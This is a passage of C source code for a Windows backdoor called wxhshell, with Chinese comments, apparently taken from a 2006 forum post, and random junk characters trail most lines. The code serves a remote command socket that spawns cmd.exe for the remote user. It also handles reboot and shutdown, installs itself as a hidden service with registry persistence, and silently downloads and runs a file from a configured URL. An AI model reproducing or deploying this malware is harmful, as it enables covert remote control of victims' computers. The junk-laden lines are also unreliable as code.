  case 'i': { j50vPV8m  
    if(Install()) MJn-] E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b UG,~\Z  
    else 0RR|!zEu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |OQ]F  
    break; 8f@}-  
    } .?>Cav9:  
  // 卸载 rb?7i&-  
  case 'r': { <O#&D|EMd|  
    if(Uninstall()) ^BsT>VSH6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1HJ: ?]  
    else .35(MFvq!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d\z6Ob"t  
    break; =j7Du[?Vu  
    } (f/(q-7VWt  
  // 显示 wxhshell 所在路径 -YoL.`s1   
  case 'p': { w,{h9f  
    char svExeFile[MAX_PATH]; XcR=4q|7  
    strcpy(svExeFile,"\n\r"); ^'UM@dd?!  
      strcat(svExeFile,ExeFile); N['DqS =  
        send(wsh,svExeFile,strlen(svExeFile),0); 43=v2P0=Tj  
    break; !pU$'1D  
    } 0cG'37[  
  // 重启 bWPsfUn#  
  case 'b': { z 4u&#.bU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]HKt7 %,  
    if(Boot(REBOOT)) jP@ @<dt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NlnK6T/  
    else { F>;Wbk&[|  
    closesocket(wsh); 8PI%Z6  
    ExitThread(0); d)%WaM%V  
    } SX4*804a_  
    break; 4,RPidv%O  
    } E^8|xT'h6  
  // 关机 xd Z$|{,  
  case 'd': { Z)!8a$M~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wMa8HeBE\  
    if(Boot(SHUTDOWN)) %ms%0%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-|]A\`)I  
    else { lyn%r  
    closesocket(wsh); TrI+F+;  
    ExitThread(0); R'BB-  
    } ]jT}]9Q$  
    break; fQ+whGB  
    } c3]t"TA,  
  // 获取shell U}92%W?  
  case 's': { }YwaN'3p!  
    CmdShell(wsh); *ug~LK5Y.  
    closesocket(wsh); AXyXK??  
    ExitThread(0); B,b8\\^k|  
    break; "Eh=@?]S_  
  } J)nK9  
  // 退出 mhbczVw  
  case 'x': { >ohCz@~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y r (g/0  
    CloseIt(wsh); y oW ~  
    break; .?}M(mL  
    } c *KE3:  
  // 离开 }#z1>y!#  
  case 'q': { ?v^NimcZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dx%z9[8~{.  
    closesocket(wsh); 4o>y9  
    WSACleanup(); Vl.,e1)6  
    exit(1); :Cq73:1\B  
    break; NuZ2,<~9  
        } Yf0 KG  
  } }[+uHR6L  
  } =Rd`"]Mnfb  
JCWTB`EB>  
  // 提示信息 "@ >6<(Ki  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +pd,gG?dW  
} X[tt'5  
  } s-p)^B  
'-wmY?ZFxy  
  return; pcMzLMG<  
} NcA `E_3  
ljFq;!I5  
// shell模块句柄 d/_D|ivZ=  
int CmdShell(SOCKET sock) ki1(b]rf  
{ }*fBHzNN  
STARTUPINFO si; '9\cIni0  
ZeroMemory(&si,sizeof(si)); v9(5H Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RZ6y5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x*OdMr\n8?  
PROCESS_INFORMATION ProcessInfo; 9r%fBiSk  
char cmdline[]="cmd"; t]K20(FSN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oR#W@OK@is  
  return 0; }:8}i;#M  
} o.KnDY  
]4aPn  
// 自身启动模式 s`yzeo  
int StartFromService(void) w8lrpbLh  
{ -K|1w'E  
typedef struct ly[yn{  
{ r]9-~1T  
  DWORD ExitStatus; WNR]GI  
  DWORD PebBaseAddress; vF\>;pcT  
  DWORD AffinityMask; O_QDjxj^rZ  
  DWORD BasePriority; ,gV#x7IW  
  ULONG UniqueProcessId; uFr12ZFgK  
  ULONG InheritedFromUniqueProcessId; 0/HFLz'  
}   PROCESS_BASIC_INFORMATION; M9)4ihK  
/@:X0}L  
PROCNTQSIP NtQueryInformationProcess; >n7h%c  
0C zQel)L:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cSL6V2F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *\ii +f-  
I`_2Q:r  
  HANDLE             hProcess; (%_X{R'  
  PROCESS_BASIC_INFORMATION pbi; l";Yw]:^  
f' A$':Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fHiL%]z  
  if(NULL == hInst ) return 0; ElO|6kOBYG  
^4=#, K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rK gl:s j+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [O3:?BNY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9NTNulD>P  
ni;)6,i  
  if (!NtQueryInformationProcess) return 0; n)yDep]$G  
M?l v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); = l(euBb  
  if(!hProcess) return 0; dD,}i$  
bi8_5I[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qU26i"GHp  
v_KO xV:<`  
  CloseHandle(hProcess); e!6yxL*[@[  
ebA95v`Vms  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $+j1^  
if(hProcess==NULL) return 0;  X}(s(6  
4/ ` *mPW  
HMODULE hMod; &S4*x|-C&  
char procName[255]; Fk=SkS ky  
unsigned long cbNeeded; ;nSF\X(;{  
7z? ;z<VJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |d0ZB_ci  
B*tYp  
  CloseHandle(hProcess); E2DfG^sGV  
HOx4FXPs  
if(strstr(procName,"services")) return 1; // 以服务启动 5 `1  
C1 ^%!)  
  return 0; // 注册表启动 >/ay'EyY;>  
} '0 Cp  
,HP }}K+S  
// 主模块 ^E^`"  
int StartWxhshell(LPSTR lpCmdLine) o`f^m   
{ ZLjAhd)  
  SOCKET wsl; 3(e_2v  
BOOL val=TRUE; [9sEc  
  int port=0; G&S2U=KdV%  
  struct sockaddr_in door; L{1sYR%s\  
t:2DB)  
  if(wscfg.ws_autoins) Install(); $udhTI#,  
44KoOY_  
port=atoi(lpCmdLine); 4jXo5SkEJ  
& /8Tth86  
if(port<=0) port=wscfg.ws_port; 40?RiwwD  
0+SDFh  
  WSADATA data; tWn dAM(U7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a&>NuMDI  
+q&Hj|;8r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SnE^\I^O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?^voA.Bv<  
  door.sin_family = AF_INET; d,GOP_N8I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Gic79b  
  door.sin_port = htons(port); X['9;1Xr  
0&s6PS%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,l~<|\4,wv  
closesocket(wsl); +W4}&S  
return 1; OZ\6qMH3e  
} #Hrzk!&9   
L/"MRQ"  
  if(listen(wsl,2) == INVALID_SOCKET) { HAjl[c  
closesocket(wsl); W6<oy  
return 1; F! !HwI  
} >!Yuef <P  
  Wxhshell(wsl); Cd*h4Q]S  
  WSACleanup();  +vkmS  
Y,s EM%  
return 0; f$dPDbZQ  
O cL7] b0  
} b`X''6  
m(8Tup|  
// 以NT服务方式启动 <>6j>w_|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u1/ >)_U  
{ IV,4BQ$  
DWORD   status = 0; G(t:s5:  
  DWORD   specificError = 0xfffffff; 6qT@M0)i  
SES.&e|!6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r *K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ! JA;0[;l=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cu7{>"  
  serviceStatus.dwWin32ExitCode     = 0; zamMlmls^  
  serviceStatus.dwServiceSpecificExitCode = 0; h'"m,(a   
  serviceStatus.dwCheckPoint       = 0; Na91K4r#  
  serviceStatus.dwWaitHint       = 0; `#$}P;W  
>[ B.y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s#Dj>Fej  
  if (hServiceStatusHandle==0) return; {<yapBMw  
ZR!8hw8  
status = GetLastError(); ) lUS'I  
  if (status!=NO_ERROR) ^Wld6:L{I  
{ tLu&3<%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E7$&:xqx  
    serviceStatus.dwCheckPoint       = 0; m|q,i xg  
    serviceStatus.dwWaitHint       = 0; (~DW_+?]'  
    serviceStatus.dwWin32ExitCode     = status; 9w-\K]  
    serviceStatus.dwServiceSpecificExitCode = specificError; *X .1b!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2u$-(JfoS  
    return; ,)`_?^ \$f  
  } %}@iz(*}>  
vh\i ^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ic(qA{SM  
  serviceStatus.dwCheckPoint       = 0; a/ A c^!(  
  serviceStatus.dwWaitHint       = 0; ko@ej^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L"ho|v9:  
} MtJ-pa~n  
:{a< ~n`  
// 处理NT服务事件,比如:启动、停止 pyhXET '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >W>rhxU  
{ }r,M (Zr  
switch(fdwControl) h:fiUCw  
{ vx9!KWy}  
case SERVICE_CONTROL_STOP: 4A J]qu  
  serviceStatus.dwWin32ExitCode = 0; D_lRYLA+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8~(xi<"e  
  serviceStatus.dwCheckPoint   = 0; vgeqH[:  
  serviceStatus.dwWaitHint     = 0; Xmr}$<<=  
  { +0Q   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :^y!z1\2(7  
  } [S'1OR$FQ\  
  return; Q:q0C  +T  
case SERVICE_CONTROL_PAUSE: kgo#JY-4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >SXSrXyYX  
  break; Y|R=^ =d\  
case SERVICE_CONTROL_CONTINUE: _9>,9aL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hf('BagBL  
  break; SRfh{u  
case SERVICE_CONTROL_INTERROGATE: <);q,|eh2  
  break; W^iK9|[qp  
}; VgbNZ{qk@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^t'mW;C$4  
} eJoM4v  
p -$C*0{  
// 标准应用程序主函数 eKr>>4,-P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [+o{0o>  
{ D|OGlP  
#R5\k-I  
// 获取操作系统版本 }sxs-  
OsIsNt=GetOsVer(); +Q+O$-a <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N|i>|2EB  
4<[?qd 3v=  
  // 从命令行安装 ; $rQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ke4oLF2  
oB 1Qw'J w  
  // 下载执行文件 w>2lG3H<  
if(wscfg.ws_downexe) { Onx6Fy]L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3#t9pI4  
  WinExec(wscfg.ws_filenam,SW_HIDE); IRg2\Hq  
} M@TG7M7Os  
Fu.aV876\f  
if(!OsIsNt) { =>'8<"M5z  
// 如果时win9x,隐藏进程并且设置为注册表启动 `sm Cfh}j6  
HideProc(); ]\yB,  
StartWxhshell(lpCmdLine); I<QUvs%e  
} v:SHaUS  
else cx:_5GF  
  if(StartFromService()) [h-6;.e  
  // 以服务方式启动 wKpGJ& {  
  StartServiceCtrlDispatcher(DispatchTable); i6paNHi*  
else [<=RsD_q~  
  // 普通方式启动 :=Zd)i)3  
  StartWxhshell(lpCmdLine); . Z&5TK4I  
o'lG9ePM|  
return 0; 2xN7lfu1RB  
}
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只看该作者 1 发表于: 2006-10-10
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